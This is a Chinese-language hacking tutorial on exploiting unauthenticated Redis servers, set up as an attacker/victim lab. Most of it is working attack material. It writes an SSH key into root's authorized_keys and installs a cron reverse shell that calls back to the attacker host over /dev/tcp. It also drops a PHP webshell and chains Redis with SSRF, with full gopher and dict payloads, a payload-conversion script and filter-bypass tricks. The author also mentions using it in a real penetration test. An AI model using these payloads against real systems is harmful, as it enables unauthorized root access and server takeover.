Redis未授权访问漏洞

Redis是一种key-value键值对的非关系型数据库

默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis

Redis还支持本地存储,也就导致任意文件写入,攻击者在未授权访问以root身份运行的Redis时可将ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而通过对应私钥直接登录目标服务器

漏洞的产生条件:

  1. Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
  2. 没有设置密码认证,可以免密码远程登录Redis服务
  3. 以root身份运行Redis

Redis简单命令了解

查看版本信息
127.0.0.1:6379> info
清空所有Redis数据库的所有key 慎用
127.0.0.1:6379> flushall
设置Redis本地存储的文件夹和文件名
127.0.0.1:6379> config set dir [PATH]
127.0.0.1:6379> config set dbfilename [FILENAME]
将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘
127.0.0.1:6379> save

Redis.config简单配置了解

bind IP1 IP2 ...

bind表示本机可以接受连接的网卡地址;只有通过bind里面配置的IP才访问到Redis服务

protected-mode [no|yes]

设置protected-mode no此时外部网络可以直接访问;开启保护模式需配置bind IP或者设置访问密码

Redis漏洞环境

Attacker

Kali: 10.173.168.12

Victim

Ubuntu: 139.xxx.xx.xxx

CentOS: 10.173.168.6

修改redis.conf

# bind 127.0.0.1
protected-mode no

需要允许除本地外的主机远程连接redis服务

利用Redis实现SSH

Victim: Ubuntu

root身份运行Redis服务器

$ sudo redis-server /etc/redis.conf

Attacker本地生成一堆密钥

root@kali:~# ssh-keygen -t rsa

id_rsa.pub

root@kali:~/.ssh# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali

Redis连接并将公钥写入Victim

root@kali:~/.ssh# redis-cli -h 139.xxx.xx.xxx
139.xxx.xx.xxx:6379> config set dir /root/.ssh
OK
139.xxx.xx.xxx:6379> config set dbfilename authorized_keys
OK                                                                                                                                                                                                                                         
(0.54s)                                                                                                                                                                                                                                    
139.xxx.xx.xxx:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxjYQf2AMNmfzla+Vi7zJdJWn2OB5jW8EZ5rxAtvIear3BS6JfJ197HyiAqGkMRnb/Y5F//0yJ+Amx1+eo2deUYRo/DfUuIQeRipitysNF2lxhKhBdk4O+L4QuuLqeIf0pg9dB0zSVmnThlwTo9P21V8hIXVWozmaEV8j+hb+SCFN50mqPfnQ0Wmkq3A1QTLkvLJI/EzWFqzNc46/re7Dvs05hs1kmioDFG+gsx75z3WI98g8eW/C8SWLZ3F9cV36ZeNspmqrrKCxKwZxoaOAHA+ZdOF3SkGa0FRG/pbLgV3djDv9yfNgmaqilzR7CQblaBHnuSY/AZLxF49drV+pCtuOd9Lh6g7d7PwoxaOJyIjhsf2g9bDm7IrrSsWMtkOkMg883ge/ow5TVRZLFugvRRy+yb2loiXIGd3hodvN5c7g709WlbVBhvXYMFxfPYEe/gglcoPmaB23647uDvBAbn8JhAeTw2RVqqJxCziabVaWg2MM3Tb6xK2yszrrSPrs= root@kali\n\n\n"         # \n换行,不然SSH连接会失败
OK                                                                                                                                                                                                                                         
139.xxx.xx.xxx:6379> save
OK

SSH连接Victim

root@kali:~/.ssh# ssh -i id_rsa root@139.xxx.xx.xxx
Welcome to Ubuntu

利用Redis实现反弹Shell

Victim: CentOS

root身份运行Redis服务器

[root@centos centos]# redis-server /etc/redis.conf

Redis连接并写入反弹Shell

10.173.168.6:6379> set x "\n* * * * * /bin/bash -i > /dev/tcp/10.173.168.12/23 0<&1 2>&1\n"
OK
10.173.168.6:6379> config set dir /var/spool/cron/
OK
10.173.168.6:6379> config set dbfilename root
OK
10.173.168.6:6379> save
OK

监听23端口并等待反弹Shell

root@kali:~# nc -lvp 23

反弹Shell在Ubuntu下无法实现

由于系统的不同,定时文件位置也不同

  • Centos的定时任务文件在/var/spool/cron/root
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/root
  • 二者共有定时任务文件在/etc/crontab

Redis以root身份写的文件权限为644,普通用户则是664,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,而如果写入/etc/crontab,由于存在乱码,因此ubuntu不能正确执行定时任务;而CentOS在/var/spool/cron/中的定时任务文件权限为644就能执行

故ubuntu下通过Redis无法成功反弹shell

利用Redis写入WebShell

redis-server以非root身份运行时,无法将/var/spool/cron/以及/root/.ssh设置为本地存储文件夹但可以写入一句话木马

Victim: Ubuntu

Redis连接并写入一句话

139.xxx.xx.xxx:6379> set x "<?php phpinfo();?>"
OK
139.xxx.xx.xxx:6379> config set dir /var/www/html
OK
139.xxx.xx.xxx:6379> config set dbfilename shell.php
OK
139.xxx.xx.xxx:6379> save
OK

访问shell.php
screenshot

Redis未授权漏洞与SSRF的综合利用

了解SSRF

SSRF(Server-Side Request Forgery服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因是由服务端发起的,所以能够请求到与其相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容或加载指定地址的图片

常见格式

http://xxx.xxx.xx.xxx/index.php?url=

RESP协议

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信
RESP协议在Redis 1.2中引入后成为Redis服务器通信的标准方式,其主要可序列化以下数据类型:整数,单行回复(简单字符串),数组,错误信息,多行字符串;RESP协议每部分都以 “\r\n” (CRLF) 结尾

RESP在Redis中用作请求 - 响应协议的方式:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器
  2. 服务器根据命令实现回复一种RESP类型

在RESP中,数据类型取决于第一个字节:

  • 对于Simple Strings,回复的第一个字节是+
  • 对于error,回复的第一个字节是-
  • 对于Integer,回复的第一个字节是:
  • 对于Bulk Strings,回复的第一个字节是$
  • 对于array,回复的第一个字节是*

在RESP中,协议的不同部分始终以”\r\n”(CRLF)结束

tcpdump抓取流量包

抓取6379端口流量

tcpdump port 6379 -w resp.pcap

连接远程Redis

xxx.xxx.xx.xxx:6379> set name hacker
OK
xxx.xxx.xx.xxx:6379> get name
"hacker"
xxx.xxx.xx.xxx:6379> del name
(integer) 1
xxx.xxx.xx.xxx:6379> get name
(nil)

所抓流量包

screenshot 3

screenshot 4

分析流量包

*3代表数组中数据个数为3(可以简单理解为空格为将命令分割为数组[“set”,”name”,”test”]);$3代表字符串的长度,Hex中0d0a即\r\n表示结束符;+OK表示服务端执行成功后返回的字符串;$-1表示空值

SSRF漏洞相关函数和协议

以下函数使用不当会导致SSRF:

  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()

注意事项如下:

  • 一般情况下PHP不会开启fopen的gopher
  • file_get_contents的gopher协议不能URL编码
  • file_get_contents关于gopher的302跳转会出现bug,导致利用失败
  • curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
  • curl_exec()默认不跟踪跳转
  • file_get_contents支持php://input协议

SSRF可利用的协议:

  • file:在有回显的情况下,利用 file 协议可以读取任意内容

    ?url=file:///etc/passwd
  • dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

    ?url=dict://127.0.0.1:6379/info
  • gopher:可以截获get和post请求包,再构成符合gopher协议的请求,gopher传参需要加_

    ?url=gopher://127.0.0.1:23/_hacker
  • http/s:探测内网主机存活

    ?url=http://172.27.16.9

利用gopher协议反弹shell

Victim: CentOS

socat抓取RESP协议流量

将反弹shell脚本写入shell.sh

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

socat端口转发

[root@centos spool]# socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379

socat将本地2333端口转发到6379端口,访问本地2333端口实际上是访问6379端口

执行反弹shell

bash shell.sh 127.0.0.1 2333

获取流量(处理过,注意payload结尾回车)

*3\r
$3\r
set\r
$1\r
1\r
$56\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1



\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
*1\r
$4\r
save\r

转换获取数据

exp = ''

with open('payload.txt') as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print("gopher://127.0.0.1:6379/_" + exp.replace('$', '%24'))

curl测试转换结果

curl -v "gopher://127.0.0.1:6379/_*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2456%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/23 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2416%0d%0a/var/spool/cron/%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"

反弹成功

[root@centos ~]# ^C
[root@centos spool]# nc -lvp 23
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::23
Ncat: Listening on 0.0.0.0:23
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52642.
bash: no job control in this shell
[root@centos ~]# 

Redis保护模式开启状态下SSRF

Victim: Ubuntu

一般情况下Redis保护模式开启状态

# bind 127.0.0.1
protected-mode yes

保护模式拒绝Redis的远程连接

漏洞代码

<?php
$ch  = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

一句话木马转换

f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
        line = line.replace(r"\r", "%0d%0a")
        line = line.replace("\n", '')
        s = s + line
print("gopher://127.0.0.1:6379/_" + s.replace("$", "%24"))

转换结果在使用curl发送的时候要把一句话的两个尖括号和;?url编码

curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3c%3fphp phpinfo()%3b%3f%3e%0d%0a*1%0d%0a%244%0d%0asave%0d%0a"

urlencode之后构造payload

http://139.xxx.xx.xxx/index.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ashell.php%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250aweb%250d%250a%252418%250d%250a%253c%253fphp+phpinfo()%253b%253f%253e%250d%250a*1%250d%250a%25244%250d%250asave%250d%250a

木马植入成功
screenshot 1

SSRF漏洞相关绕过

  • @

    http://abc@127.0.0.1
  • 短网址

    http://tool.chinaz.com/tools/dwz.aspx 短链生成工具
  • 句号

    127。0。0。1
  • 302跳转

    https://tinyurl.com/ 302跳转平台

❗️补充

http://127.1

SSRF实战中的疑惑

在Ubuntu和CentOS靶机中测试以及进行真实渗透时出现一些奇怪现象,尝试在?url=后面拼接gopher payload时一直无法成功,于是尝试dict协议执行Redis命令的方式去写入一句话竟然成功了

dict://127.0.0.1/set x '<?php phpinfo();?>'

发现目标服务器中php版本为V

screenshot 2

而靶机中版本为php7,用dict协议写入时会出现如下错误

-ERR Protocol error: unbalanced quotes in request